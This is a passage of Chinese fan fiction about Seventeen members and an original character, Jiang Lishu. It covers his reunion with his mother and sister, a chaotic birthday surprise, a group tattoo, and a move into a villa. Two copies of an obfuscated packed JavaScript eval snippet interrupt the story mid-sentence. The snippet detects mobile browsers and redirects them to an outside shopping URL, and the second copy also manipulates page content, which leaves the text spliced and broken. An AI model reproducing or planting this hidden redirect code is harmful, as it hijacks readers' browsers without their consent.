这个拥抱像一道开关。其他成员也瞬间反应过来,眼眶发红地纷纷上前,在人群中寻找并拥抱自己的家人。 唯独姜里树还站在原地,没有动。 他的目光直直地落在远处那两个人身上。 其中那位金发女子,是一位骨相极其优越、气质出众的外国女性。岁月从不败美人,她眼角的细纹不仅无损于她的美丽,反而像花瓣的纹路,为她更添了一份沉淀后的风姿与光彩。 此刻,她正微笑着,朝他的方向,张开了手臂,等待拥抱自己呆愣住的儿子。 她的身边,站着一位黑发女子。她看上去要比金发美人青春靓丽许多,但两人站在一起,气质和谐得宛如一对姐妹花,她们的面容也有五、六分的相似。 与金发美人的温柔不同,黑发女子一身剪裁利落的笔挺西装,脚下踩着标志性的红底高跟鞋,正好整以暇地抱着手臂,微微扬着下巴,看着不远处自家那个看起来有点傻里傻气、呆立原地的弟弟,嘴角带着一丝不易察觉的笑意。 姜里树心里所有积压的想念、委屈、孤独,在见到她们两人的瞬间,如同决堤的洪水般,全都释放了出来。 所有的疑惑和气愤都可以留到之后慢慢问。 现在,他只想拥抱她们。 他也真的这么做了。迈开脚步,冲过去,一把将两人同时紧紧地拥进了怀里。眼泪毫无预兆地、大颗大颗地掉下来,砸在她们的肩头。 他没有说“我想你们了”,只是一边啪嗒啪嗒的掉眼泪,一边把脸埋进她们温暖的颈窝,嘴里不停地、含糊地、带着哭腔地问为什么。 里树妈妈心疼得眼眶发红,一下一下,轻轻地拍着儿子宽阔却依旧单薄的脊背。这个她已经很久、很久没有拥抱过的孩子,竟然已经长得这么高、这么大了。 一旁的姐姐姜南与也收起了那份“董事长”的架势,忍不住伸出手,揉了揉自家弟弟那颗因为哭泣而微微颤抖的、毛茸茸的黑色“小狗头”,动作是罕见的温柔。 “别急,我们接下来有许多时间可以慢慢解开你的疑惑……”被弟弟紧紧抱在怀里的姐姐姜南与,勒的有些难受,拍了拍他的肩试图叫他先放开手,完成接下来的仪式。 小狗哪里愿意,整整六年啊。 他们六年没有见过一面,连一通电话都没有打过。每个月只有那笔冰冷、准时、毫无温度的生活费,按时到账,提醒着他血缘的羁绊依然存在。 为数不多的他想放弃回家的时候,姐姐就像知道了他的想法会给他发一则安抚他的短信,只告诉他: “家里一切都好,勿念。” 如果不是姜里树自己时时刻刻关注着‘长禾’集团的动向和消息,从那些公开的报道和照片里,艰难地拼凑着家人的只鳞片爪,他恐怕早就崩溃、爆炸了。 既然家里选择“不理他”,曾经他也赌气地想过——那他也不要理他们! 姜里树松开妈妈和姐姐,还是不敢相信的摸摸她们的脸,确认她们是真实存在的,不是因为他太过思念幻想出来的。 里树妈妈和姐姐也任由儿子/弟弟抚摸着她们的脸,同时,她们也在帮他擦着不停落下的眼泪。 “先把戒指戴上,好吗?” 里树妈妈温柔地安抚着他,同时也注意到了,其他的孩子们,也都已经陆续重新戴上了那枚象征团队与承诺的戒指。 “嗯。” 姜里树乖乖地伸出手,由妈妈亲手,将那枚属于Seventeen的团戒,重新戴回他的手指上。 “从今以后,我们里树就是能独当一面的大孩子了。”妈妈握着他的手,轻声叮嘱,眼里有骄傲,也有不舍,“在照顾好弟弟们的同时……也一定要照顾好自己,好吗?” “嗯,我会的,妈妈。”小狗点头。 “里树!这是我的爸爸妈妈!” 崔胜澈领着自己的父母,第一个就来到了姜里树这边。这是他第一次看到姜里树掉眼泪,心里有点疼,但更多的是想要把自己生命里最重要的人,分享给他的喜悦。 他突然想起那次发烧昏迷…好像也有水滴冰冰凉凉落在手背上的感觉……? “胜澈爸爸,胜澈妈妈,你们好。” 姜里树自己抬手擦了擦脸,带着浓浓的鼻音,规规矩矩地向崔胜澈的父母鞠躬打招呼。 腰还没完全弯下去,就被一旁的胜澈妈妈眼疾手快地、稳稳扶住了手臂。 “哎呀,不要这么多礼节!” 胜澈妈妈连忙摆手,扶着他的手却没松开,眼里满是慈爱。 “我们里树都长这么大了……上次联系,还是在电话里告诉我们胜哲的情况,一直照顾着我们胜哲,真是辛苦你了。”她说着,也忍不住疼惜地伸手,轻轻摸了摸姜里树还有些湿意的脸颊,嘴里还心疼地念叨着,长这么高的个子,身体怎么看着还是这么单薄啊…… “不辛苦的。” 姜里树摇了摇头,声音放得很轻,注视着胜澈妈妈的眼睛异常柔和、真诚。 “澈哩一直都很乖的。”他说着,目光又轻轻地、带着点温暖的笑意,落回了一旁站着的、有些不好意思的崔胜澈身上。 “哎一古,我们哪会不知道胜哲是个小魔王来着~”胜澈妈妈倒是笑着一点也不在乎的调侃“恼羞成怒”撒着娇的儿子。 “对啊!Coups哥妈妈说的完全没错啊,里树哥你对Coups哥的滤镜不要太厚啊!”同样也是带着家人过来的权顺荣也毫不客气的拆着他哥的台。 “呀!HOSHI!”被拆台变得气鼓鼓的崔胜澈冲着权顺荣就是一个猛狮扑虎。 两个人就在所有父母慈爱的目光下开启了你追我逃。 姜里树调整好情绪,同样得体又温和地接待了被权顺荣兴冲冲带过来的顺荣爸爸,和对方打着招呼。 然后,他自然地转过身,将身边的妈妈和姐姐,正式地介绍给了胜澈的爸爸妈妈和顺荣爸爸认识。 其他孩子和他们的父母们,在初步安抚好自家孩子的思念情绪后,也都不约而同地、带着好奇与感谢,纷纷聚拢到了姜里树这边。 他们都想亲眼看看、亲口谢谢,自己儿子口中,那个一直默默照顾、守护着所有人的“大哥”。 “是个漂亮的孩子呢!”这是知秀妈妈。 “一直以来辛苦我们里树了!”这是知勋妈妈。 “一定也要照顾好自己啊。”这是俊辉妈妈。 妈妈们围着他,这个摸摸他的头,那个握住他的手,眼里都是慈爱,对他喜欢得不行。 爸爸们则站在稍外围,用更含蓄的方式表达认可,用力拍拍他的肩膀和手臂,沉稳地道一声“孩子辛苦了。” 姜里树面对这突如其来的、来自所有“父母”的关爱与感谢,全都乖乖地、有些腼腆地应承下来。 他微微低着头,任由爸爸妈妈们摸摸头、拍拍肩,此时成了被长辈们围着疼爱的、有些不好意思的大孩子。 而另一边,Seventeen的孩子们则默契地围到了自家大哥的妈妈和姐姐身边,好奇又亲近地打量着这两位“从来不提”的家人,叽叽喳喳地问好、介绍着自己。 以前,他们一直以为里树哥是和家里关系不好,所以从来不在他们面前提起家人。体贴的孩子们,也就都默契地从来不在他面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们都知道,这次分别之后,下次见面将更加难得。因此,接下来的整整三天,他们都格外珍惜,带着父母们在首尔四处走走看看,享受这短暂却无比珍贵的家庭时光。 而姜里树这边。 与父母们聚餐结束后的当晚,在妈妈和姐姐休息的酒店套间内,姜里树终于问出了他一直以来,积压在心底很久、很久的疑惑与气愤。 在他开口前,被姐姐抬手打断。 “知道你很急,但你先别急。”姜南与抬手再次压制住姜里树即将爆发出来的脾气。 “你知道的吧,享受了家族的资源,就要付出同等或者翻倍的价值对吧?” 姜里树闻言眼神一暗,点了点头移开视线。 “虽然爸爸从来对我们不对我们讲这些,但是祖父那些不省心的儿子们也不止有爸爸和姜辰叔叔,他们一直紧盯‘长禾’试图从它的身上撕下一块肉,来填饱自己,祖父也从来不阻止他们之间去暗斗…只是不动我们这一辈,是让我们自己来…”姜南与说到这十分不优雅的翻了个白眼,心想有点钱的家族多少都有点“裹小脑”的封建臭毛病。 “让你在韩国当练习生也是我与祖父打的赌,就赌你会不会放弃。除了生活费会按时打给你,不靠家族,不靠家人,不靠权势关系的坚持下去,直至出道,不论个人还是团体。” “如果你放弃,那么你就老老实实的回来当你的‘长禾’集团太子爷,只要不惹事,找个配得上的姑娘结婚生子,家族养你一辈子。”她笑了一下,意味深长的对姜里树说,“你知不知道,姜辰叔给你的那栋房子就是你回程的‘机票’,卖掉房子的钱买个商务座回来还是绰绰有余的?” “?,谢谢啊。”啧,姜里树给了她个白眼。 “不客气~”姜南与回了个标准的假笑。 “那如果我坚持下去了呢?”姜里树问她。 “如果你坚持下来出道了,家族就捧着你,让你做你想做的一切,谁也不能阻止你,祖父也不能!作为我们这一辈唯一的男丁,你有这个权利。”弟弟能做自己想做的,她能够有祖父的支持做‘长禾’皇太女,一举两得简直不要太开心?。 “……所以我被踢出“Tempest”是谁干的?” “额,是祖父…你刚去到半年姜辰叔就让‘聚星’娱乐买下了Pledis30%的股份进行投资”,结果莫名其妙一直在亏,“祖父对叔叔下了命令,提出决议把你从备选名单里踢出,想让你知难而退回来……” “干嘛不告诉我!!!老子在韩国一个人待了六年,你们一个电话都没有!!!!!”姜里树听完所有的解释朝他姐怒吼。 “跟谁老子!”姜南与才不惯着他,一巴掌就盖了上去。 姐弟两个都是学散打的,一个巴掌哪会挡不下来,他现在还比他姐高了那么多,就想还手。被六年没间断过散打的姜南与顺势锁喉,还抓着他的头发,因为他太高了,整个人都胸膛朝外的弓了起来,姜南与锁着他姿势也难受,就踹他膝窝,让他单膝跪了下来。 崔胜澈和文俊辉打开门看到的就是这个场景。 姜里树整个一只朝着门口跪在地上,被他姐姐锁着脖子抓着头发,泪眼朦胧的看着门口。 “努拿~”崔胜澈犹豫再三还是开口想劝,心疼了一下。 “哎呀~你们姐弟两个关系还是那么好呀~真是太好了!”里树妈妈从客厅跟在两个小孩儿后面,在缝隙间看到了正在打架的姐弟俩,捂嘴笑了起来。 中文夹杂着俄语的争吵的声音她也听见了,就是故意给来找儿子的孩子们开门让他们进来凑热闹的。 “Мамааа! Явсёещёнаколенях, жеаль!(妈妈!我还跪着呢!)”这对吗?这哪里看起来感情好了! “快点放开我!(中文)”姜里树挣了一下,没挣脱开,头发被抓着扯的头皮痛。 “臭小子,下次记得跟姐姐好好讲话。(中文)”姜南与一把甩开他,像是手上有灰似的拍了拍手。 “Развеэтоделодлястаршейсестры?!(这是姐姐该干的事嘛?!)” 姜里树趴在地上被冲过来的崔胜澈和文俊辉扶了起来。文俊辉还能听懂姐姐说的中文,崔胜澈完全是两耳一瞎中文听不懂,更别提语句间还夹杂着快速过耳的俄语。 眼看着姐弟两个又要干起架,崔胜澈和文俊辉连忙夹着姜里树给里树妈妈和姐姐利落告别,架起他就跑。 已经被弟弟们看到了他的衰样,姜里树已经无所畏惧了,被架着跑的时候,还嘟囔着,明明是为了打过姐姐才学的散打,现在彻底打不过了(?????????)一副生无可恋小狗哭唧唧的样子。 这边两个弟弟来找姜里树是为了不久后的MBC MUSIC为期一小时Seventeen直播舞台而来的。 可现在,崔胜澈和文俊辉却都已经被哥哥可爱暴击到了,撒娇哭哭的姜里树,第一次见哎。 相聚的时光总是过的很快,姜里树的妈妈和姐姐是所有家长中第一个登上飞机离开的家人。 登机前…… “不要讨厌爸爸,‘长禾’总要有我或者他来镇守,爸爸觉得比起他,你会更想看见我,所以就让我来了,祖父在得知你去当了练习生要你回来的时候,是爸爸第一个反对的…”姜南与上飞机前捏了捏弟弟的耳朵和他说。 “他让我对你说:既然确定选择了这条路,那就放心大胆的走下去吧,不仅是对自己负责,更要对你选择的这群孩子们负责,家里一切有我们。所以不要讨厌爸爸。” “……我知道的。”姜里树红着眼眶回复着。 “‘芥末饼干’事件做的不错哦!你的一切我们都关注着的。” “等你回家哦!” 24. 24.惊喜? 五月五日那一天,是在Seventeen孩子们仓促而疲惫的排练中度过的。每个人都只能带着歉意的和姜里树道一声生日快乐,然后紧紧拥抱他一下。 姜里树自己倒觉得没什么。生日这个东西,对他来说,过不过都行。 孩子们都在身边,这就够了。 所以,在五月二十六日这天,当他们在MBC MUSIC顺利完成了Seventeen的一小时正式出道直播后,压抑不住内心巨大兴奋与喜悦的孩子们,当下做了一个决定! 他们要连同拍摄期间只是草草过了个生日的金珉奎一起,给姜里树和金珉奎,重新、正式地过一个生日。 日期,就定在五月二十六日夜晚,他们共同出道的这一天! 出道舞台顺利完成后,在回宿舍的路上,姜里树向崔胜澈和他们的新经纪人请了两个小时的假,独自出去了一趟。 他带着刚刚正式出道、浑身滚烫的余热,趁着心里那股清晰而强烈的冲动还没有消散——他要立刻去做一件事! 一件早就决定好的事。 等那件事办妥,在回宿舍的路上,他又收到了姐姐姜南与发来的快递到达通知,需要他再去一趟宿舍楼下的自提柜,取一个包裹。 姐姐在信息里神神秘秘的,就是不肯告诉他,快递里面到底是什么东西。 半个巴掌大的小盒子里,只装了两样东西:一张卡片,和一个手写的地址。 卡片上空空如也,什么也没写。而那张写着地址的纸片上,除了地点,只附带了一句简单的说明,‘作为公司股东,赠予Seventeen的福利之一’。 姜里树认真地看了好几遍纸片上的地址,然后,他用力抿紧了嘴唇,肩膀开始不受控制地微微抖动,以防万一还用手捂住,努力压制着那股想要在宿舍楼底下就放声、猖狂大笑出来的冲动。 在原地深呼吸了好几下,平复好几乎要蹦出胸膛的心情后,他才转身,脚步轻快地走回了宿舍。 双方都面色平静,像往常一样自然地打着招呼,巧妙地隐藏着各自心里的那个“好消息”。 姜里树趁着这会儿卫生间没人,拿了洗漱用品就进去洗漱了。而客厅里的孩子们,在他关上门后,彼此心照不宣地对视了一眼,默契地点了点头。 等浴室传来水声,已经被秘密惊喜过了的金珉奎给其他人使了个眼色,这可是他的主意,准备给他哥来个出其不意大惊喜! “咔嚓——” 卫生间的门把手被拧动了。通常情况下,成员们知道里面有人是不会进来的,除非情况特殊。 姜里树听见声音时,脸上的洗发水泡沫都还没冲干净。他反应极快,一把抓起挂在墙上的浴巾就往腰间围。幸运的是,在门被彻底推开前,浴巾堪堪围住了下半身,保住了最后的“清白”。 头顶的浴霸还在尽职尽责地喷洒着热水。姜里树借着水流匆匆抹了把脸,关掉花洒,想看清是谁进来了。 “……也没人通知我,今晚卫生间有团建活动啊?” 姜里树看着眼前这个被成员们瞬间挤得满满当当、水泄不通的卫生间,一时语塞。他一只手还得紧紧抓着湿透的、随时可能滑落的浴巾,另一只手则无奈地抬起来,捂住了自己沾满水珠和泡沫的脸。 “e——里树,e——……!” 崔胜澈是第一个冲进来的,此刻也首当其冲,成了最直面这幅“冲击性画面”的人之一。他张了张嘴,发出了几个无意义的音节,显然被眼前的景象弄得有些语无伦次。 青年白皙的皮肤在灯光和水汽下近乎透明,水珠不断从他身上滚落。身上的肌肉紧实而匀称,属于那种覆盖着薄薄一层脂肪的“轻薄肌”类型。 平时大家在一起洗漱,其实都见过彼此的身体。但今夜格外让人移不开眼的,是他背对他们时,那流畅紧致、挺拔匀称的背部线条,隐约的背肌轮廓,以及——脊椎沟处,一道清晰的黑色英文字体纹身。 只是姜里树转身太快,崔胜澈没能看清具体内容,只看到那黑色字体的边缘,因为接触到热水而有些微微发红、肿起的皮肤。其他几个紧跟着挤进来的人,也只来得及瞥见姜里树那泛着红痕的背部一闪而过。 联想到姜里树今天活动一结束就请假独自出去,再结合刚才那惊鸿一瞥的脊椎沟处的黑色字体,崔胜澈心里瞬间猜到了原因,甚至大致想到了那行字可能的内容。 他喉咙有些发干,涩然地咽了咽,突然觉得……有点口渴。 慢了崔胜澈半步的尹净汉和洪知秀,自然也清晰地注意到了青年背部脊椎沟附近那道异常明显的红肿痕迹。那么刺眼,怎么会看不到。 他们三个背后,被挡得严严实实的李知勋、全圆佑和文俊辉,则只看到了大哥那在水汽中白得发亮的皮肤。 再后面的权顺荣,以及差半步就能挤进来的夫胜宽,更是被前面的哥哥们挡了个结结实实,连姜里树的人影都没瞧见。 至于端着蛋糕的金珉奎,视线更是被完全挡住,只看到了他哥那颗湿漉漉的、滴着水的黑色脑袋。护着蜡烛火苗的徐明浩,以及负责气氛组的李硕珉、李灿和崔瀚率,更是什么特别情况都没捕捉到。 十三个弟弟,就这么里三层外三层,全部挤在了卫生间的门内门外。 崔胜澈是看清了大概,心里有数。但尹净汉没有啊! 在他眼里,这关乎姜里树的身体健康。白天直播表演的时候还好好的,怎么晚上背上就红了一大片?他神情立刻严肃了起来,也顾不上那么多了,一把挤开旁边支支吾吾、试图说点什么的崔胜澈,径直就朝姜里树走了过去。 走到近前,他伸手就抓住了姜里树湿漉漉的胳膊,语气带着担忧和不容置疑:“里树,转过去让我看看,背后是怎么回事?” “净汉啊~我没……”姜里树下意识想抬手挡住尹净汉,但自己一身湿透,又怕把免疫力本就不太好的尹净汉的衣服打湿,动作有些犹豫。 “转过去!” 尹净汉却用他那最奶声奶气的声音,恶狠狠地、不容反驳地甩出了这句话。 被挡在外围的弟弟们不知道里面具体发生了什么,但听到连一向好脾气的净汉哥都动了气,一时之间都安静了下来。 李知勋顶替了尹净汉刚才的位置,带着明显的担忧,眉头紧锁,目光注视着姜里树。 姜里树被他打断,无奈地叹了口气,最终还是顺从地向众人转过了身。 只见那片雪白无瑕的脊背中央,赫然是一串顺着脊柱线的团标、黑色英文与数字组合的纹身。字母和数字没有被一个一个拆分开,只是完整的词组竖向排列。 尹净汉凑得更近了些,在卫生间不算明亮的灯光下眯起眼睛,仔细辨认。 “SEVENTEEN 20150526”。 指甲盖大小的黑色“1”和“7”的倒三角几何图形后跟着英文团名,加上今天2015年5月26日的日期,清晰地印刻在那里。黑色纹路周围的皮肤,因为接触到水,正逐渐泛起一圈明显的、微微的红肿,在这片雪白的背上,显得格外刺眼和……炽热。 尹净汉看清那是什么后,一直提着的那口气终于松了下来。他闭了闭眼,随即抬起手,一巴掌拍在了姜里树湿漉漉的手臂上! “啪!”一声脆响。 “嗷呜!”姜里树被拍得猝不及防,发出一声痛呼。到底干什么啊,他还在洗澡就被所有人围观,现在还被打了一巴掌,小兔崽子们终于要造反了吗????? “你们到底要干什么啊……”姜里树的声音带着点委屈和颤抖,下半身还裹着那条已经完全湿透的浴巾,浑身凉飕飕的,被这么多双眼睛紧紧盯着,他感觉自己真的快要哭出来了。 “要是精力太旺盛……我可以带你们去电玩城啊……”他试图用别的提议来转移这场诡异的“围剿”,干什么……这么对他啊…… 眼看着姜里树真的委屈得要哭出来了,众人这才猛地从一连串的冲击和发愣中回过神…… 啊!他们是来给珉奎和里树哥补过生日的来着! 一时间,所有人眼神开始四处乱飘,有的看天花板,有的盯洗手池,有的研究地砖花纹,就是不敢看中间那个浑身湿透、快被他们欺负哭了的寿星。 “那个,哥,里树哥……”崔胜澈这孩子又叫他哥了。 “先出去……”姜里树抬起手,做了个“停止”的手势,声音都带着点虚弱的颤音,“有什么话,等我洗完澡再说……我真的……要凉透了……”从心到身。 “好的好的好的!” 打了寿星一巴掌的尹净汉反应最快,立刻点头如捣蒜,一边应着,一边手脚并用地推着还想说点什么的崔胜澈和其他孩子,一群人快速地从狭窄的卫生间里涌了出去。 临走前,尹净汉还非常贴心地,帮他把门重新带上了。 终于又一次获得单独浴室使用权的姜里树,扶着墙上,心累地长长叹了口气。 然后,他重新打开花洒,快速地把没冲完的泡沫冲干净。整个洗漱过程快得像在打仗,五分钟之内,他不仅洗完了澡,连换洗的干净衣服都全部穿戴整齐了。 叹了口气准备离开卫生间。 门外的几个,以金珉奎为代表,完全不知道门内到底发生了什么惊心动魄的事。只感觉一眨眼的功夫,门里的人都神色各异地冲了出来,然后连带着他,所有人都闷声不吭地坐在了客厅里。 金珉奎带着几个同样状况外的弟弟,脸上写满了茫然和无辜,左看看右看看,大气都不敢出。 知道全过程的洪知秀这时候还能坏心眼的拍拍小狗的头,语重心长的对他说:“珉奎啊,因为你的主意,哥差点要和我们‘绝交’啊~” “莫?!亲加?!!”金珉奎一听,眼睛瞬间瞪圆了,整个人像装了弹簧一样从地上弹跳起来,震惊地看着洪知秀。能被洪知秀心甘情愿叫“哥”的,就只有另一个寿星姜里树了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205964|197337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他立刻苦着脸,转身就朝卫生间冲去,结果正好和刚洗完澡、穿戴整齐、拉开门出来的姜里树撞了个面对面。 “hiong!米亚内!别和我们绝交啊!”这个才是真的哭出来了。 “?”又整什么幺蛾子?姜里树被他这突如其来的“绝交宣言”搞得一头雾水,“谁说的我要和你们绝交了?” “Joshua hiong~”小狗这才反应过来自己好像被骗了,撇着嘴,委屈巴巴地转身向姜里树告状,手指指向客厅。 “……”姜里树微微错开金珉奎的脑袋,目光越过他,看向坐在客厅里那个“欺骗”小狗的罪魁祸首——洪知秀。 对方正笑得一脸人畜无害、岁月静好,甚至朝他乖巧地眨了眨眼。 “……”这个哥没办法帮你“报仇”,姜里树沉默了一秒,然后非常诚恳地收回视线,抬起手,安抚性地拍了拍金珉奎那颗毛茸茸、还带着委屈的脑袋。 他牵起“小苦瓜”金珉奎,一起往客厅走去。然后在所有人的注视下,平静地坐在了大家面前,目光扫过一圈,语气温和,带着不解的问他们刚刚是有什么事吗。 “是想给哥一个惊喜啦~” 这会儿,所有人立刻都变得乖乖的,一口一个“哥”叫得又甜又软。 尹净汉脸上带着点心虚和讨好的笑容,一点点地挪到姜里树身边。 “……为什么要突然给我惊喜啊?”姜里树看着他们,语气里是真实的困惑。 惊喜得很好,下次别再让他看见这样的“惊喜”了。往后年纪再大点,他心脏可真有点遭不住。 “是想给里树哥和珉奎一起,重新、正式地补过一次生日。”全圆佑把事情的前因后果,仔仔细细地跟姜里树解释了一遍。 “因为这两个月我们一直在紧锣密鼓地录制出道节目,所以珉奎和哥你的生日,当时都只是匆匆忙忙地道了个祝福就过去了。” “大家就想着,借着今天出道这个最吉利的日子,给你们俩好好庆祝一下,也讨个好彩头。” “本来计划是等你们俩一回来,就同时给你们惊喜的。结果哥你突然自己单独出去了,我们只好先给珉奎庆祝了一下。” 他顿了顿,看了一眼旁边的金珉奎。 “然后……珉奎提议说,干脆把给你的那份庆祝,也‘藏’起来,等你回来再给你个惊喜。” 谁能想到姜里树回来就去洗澡了,计划赶不上变化嘛。 姜里树听完,心里感动得发软,又觉得这群孩子好笑又可爱。他的目光挨个扫过眼前所有的孩子,连带着刚才被他牵过来的金珉奎也包含在内。 被他这么一看,所有人立刻又心虚起来,眼神到处乱飘,看天花板的、抠手指的、研究墙壁墙皮的……就是不敢和他对视。 “好了,没有要怪你们的意思,只是下次给我过生日的时候,就老老实实给我个拥抱或者祝福就好”,姜里树的声音放得又轻又软,带着无奈的笑意,他顿了顿,看着这群不敢看他的孩子,半是认真半是玩笑的继续说,“往后哥要是年纪大了,老了之后会得心梗的。” 知道了姜里树并没有生气后,所有人这才彻底放下心来,脸上重新绽开笑容,纷纷围拢过来,抱住姜里树和金珉奎,七嘴八舌地撒着娇:“哥才不会老呢!” “哥明明也没比我们大多少呀~” “珉奎呀,快笑一笑,不要继续当‘小苦瓜’啦~” “谢谢你们的祝福。”姜里树的声音很温和,带着真切的暖意,“生日有你们在身边,我真的过得很开心。” 他目光柔和地扫过每一张青涩少年感的脸,然后轻声却坚定地说:“我们约定好,以后我的每一个生日,都要一起过,好吗?” “就算因为行程真的不能在一起……”他顿了顿,补充道,语气里带着珍重的请求,“再见面的时候,也一定要给我一个拥抱,好吗?” 说着,他顺手,很轻地摸了摸离他最近的徐明浩柔软的头发。 这个生日过的格外有意义。 “那么,既然珉奎也是寿星之一……”姜里树拍了拍手,让正在分吃蛋糕的大家安静下来听他说话,“那我就再给他,也给大家,一个惊喜吧!” 他清了清嗓子,宣布道: “吃好蛋糕后,你们就去收拾自己的东西。” “我们要搬新家了!” “大概明天一早,搬家公司就会来帮我们运行李!” “亲加?!” “新家比现在的宿舍大吗?” “哥知道新家在哪里吗?!” 话音一落,客厅里瞬间被兴奋的追问声填满了。 在孩子们欢呼着跑去收拾行李的间隙,崔胜澈悄悄蹭到姜里树身边,压低声音问他:“哥,你怎么会知道新地址的?我也才刚收到经纪人通知要换宿舍,连我都还不知道具体地址呢……” “是秘密呀~”姜里树转过头,对着他笑眯眯地卖了个十足的关子。 25. 25.新家 当Seventeen全体成员和他们的经纪人哥一起,站在了那扇崭新的、气派的新家门口时。所有人,都不约而同地张大了嘴巴。 姜里树从口袋里掏出那张什么字也没有的白色卡片,然后轻轻将它贴在了崭新的电子门锁感应区上。 “嘀——”一声轻响。 那扇厚重的门,就那么水灵灵地、悄无声息地,在他们面前敞开了。 “居然真的是一张门卡?”姜里树自己也有点意外,拿着卡片低声嘟囔了一句。 随即,他转身招呼身后那群还傻站在原地、仿佛被施了定身咒的成员们。 “快点进去啦!一会儿搬家公司会把行李放在庭院里,需要我们自己动手搬进去。先进去看看,然后再一起分配房间!” “内~”孩子们这才如梦初醒般地、拖着长音应道,但脸上依然带着没完全缓过来的恍惚和兴奋,开始鱼贯而入。 目测占地面积大约五百多平米,室内建筑面积在三百平左右。庭院宽敞,甚至还带一个私人泳池。整个庭院连带别墅一起被两米高的围墙围起来了,因为四周有藤蔓花卉,所以看起来一点也不压抑。 整体来看,这算是清潭洞一带面积偏小一些的中型别墅了。关键在于,因为位置在别墅区非常边缘的僻静地段,左右都没有紧邻的邻居。这为他们提供了最大程度的隐私和自由,对于即将出道的艺人团体来说,简直是梦寐以求的理想条件。 姜里树跟在兴奋的孩子们后面,仔细看完了室内的所有结构。 地上三层,地下二层。 先说三楼。楼顶是露天大阳台。本层有五个卧房加两个公共卫生间,其中两间卧室自带独立卫浴。 接着是二楼。四个卧房加两个公共卫生间,两间卧室带独立卫浴。另外有两间稍小的房间被专门改造成了设备齐全的电竞室,还有一间卧室自带一个小型的露天阳台。 然后一楼。设有两间客房,孩子们决定保留下来给经纪人哥做临时休息的住所。一个足够容纳十四个人同时活动的大客厅,以及一个能让七八个人一起忙活的开放式大厨房。 到地下一层。整层被改造成了专业的练舞室,铺着隔音地胶,完美规避扰民问题。隔着楼梯就是设备完善隔音绝佳的录音制作室,隐私与功能兼顾。 最后是地下二层。是宽敞的车库。 因为人数的原因,别墅内部整体是楼梯设计,地下两层绝对明亮。每个空间的设计,都精准地考虑到了他们作为团队的生活、训练和隐私需求。全屋家具电子设备齐全,就连厨房的锅碗瓢盆都准备好了,调料瓶子带着名称也装的满满的,两个双开门冰箱,一个装满了肉类蔬菜瓜果,一个装满了零食饮料。 食物都是前一天才充备好的,卫生也打扫好了,床单被褥都是全新的,全屋上下只有二楼电竞室的电脑需要他们自己去开机启动一下。 未免太周到了吧?像是早就准备好的…… 姜里树了解完别墅内的布局,坐在客厅沙发上等着孩子们的热情降下来,他正给他姐姜南与发着消息。 [树:新宿舍什么情况?] [魔王:不喜欢吗?:-D] 姜里树抬头看了一眼还在兴奋的孩子们,低下头继续打字。 [树:喜欢的。怎么感觉是早就准备好的?] [魔王:对啊,都说了是“公司福利之一”了。] [树:……]解释了个啥? [魔王:好吧,是爸爸给你们的出道“礼物”,而且他很喜欢那个叫崔胜澈的孩子哦,说他看起来比你有责任感:-)] 姜里树看到这条消息抬头找了一圈崔胜澈,看着他抢过李灿手里刚打开的饮料,猖狂的大笑着,陷入了沉思。 [树:让他继续喜欢着吧:-D] [树:那地下车库的车?] 目前只有姜里树去了地下两层,看到了车库里停着两辆黑色九座商务车,三辆白色私家车,停的稳稳当当。 再稳当有什么用,现在就他一个人有驾照…… [魔王:是妈妈给你们准备的礼物。] [魔王:别墅和车都是走的集团投资的账,所以如果孩子们知道了也不要负担,这是我作为投资人的投资。] [魔王:还有啊,我是Pledis新股东哦~下次见面记得叫老板好哦;-)哦!别忘了去一趟地下一层的录音室!] [树:?] 等到孩子们都在客厅集合后,姜里树也没问出个所以然来,只能暂时放下这个问题,收回手机和孩子们讨论之后的房间分配。 “一共九个卧室,”崔胜澈不知道从哪里拖出来一块大白板,在上面一边圈圈画画,一边清晰地说明规则,“所以肯定需要有成员合住,每个房间住两个人的话,也并不拥挤。” 他转过身,面对所有人,宣布道:“我们干脆做游戏决定吧。游戏的前四名,可以自己决定是住单人间,还是选择一位舍友。” “剩下的十个人,再通过游戏决出前四名,这四个人可以自己挑选舍友。” 所有人都点点头,对这个公平又带趣味性的方案表示同意。 然后,他们便非常自然地围成一个大圈,准备开始这场决定未来住宿的“游戏对决”。 “那就‘□□’游戏吧,所有孩子都会玩。’姜里树拍板定下,“我来当裁判吧,经纪人哥已经离开去公司开会了。” “我再说一下规则,每把‘□□’数量3名,警察1名,医生1名,其余人是市民,所有人闭眼低头,我会打开音乐,在念到身份的时候我会告诉他。” 在音乐声音中,姜里树选定了尹净汉、徐明浩、李知勋三人作为‘□□’,警察李灿,医生崔瀚率。 姜里树选出的都是睡眠不好的三个,和其他孩子通过气了,这一把就是给他们三个的白给局。 最后的结果也是在他们不知情的情况下让他们三个赢了,三个人默契的选择了三楼三间不带卫浴的卧室。 第二把就开始了浓重的‘火药味’,每个人都开始发力试图抢先第一个选择自己的舍友。 这一把的‘□□’是文俊辉、李硕珉、崔胜澈,警察则是洪知秀,医生是金珉奎。 李硕珉第一个被全票投出局——他完全藏不住自己那点小心思,被目光如炬的洪知秀一眼识破,当场“逮捕”。 而崔胜澈则胜负欲爆棚,开启“大杀特杀”模式,主导着投票。文俊辉则顶着他那张天生无辜的小猫脸,成功卖萌混淆视听,一路活到了最后,和他胜澈哥联手,“干掉”了场上所有其他人。 文俊辉选了夫胜宽,房间定在了三楼。崔胜澈选了电竞搭子全圆佑,要了电竞室隔壁的卧室。李硕珉被带躺选了李灿作为室友,房间选择了二楼。 第三把终局之战,崔胜澈MC,‘□□’金珉奎、崔瀚率,警察依然是洪知秀,医生姜里树,市民权顺荣。 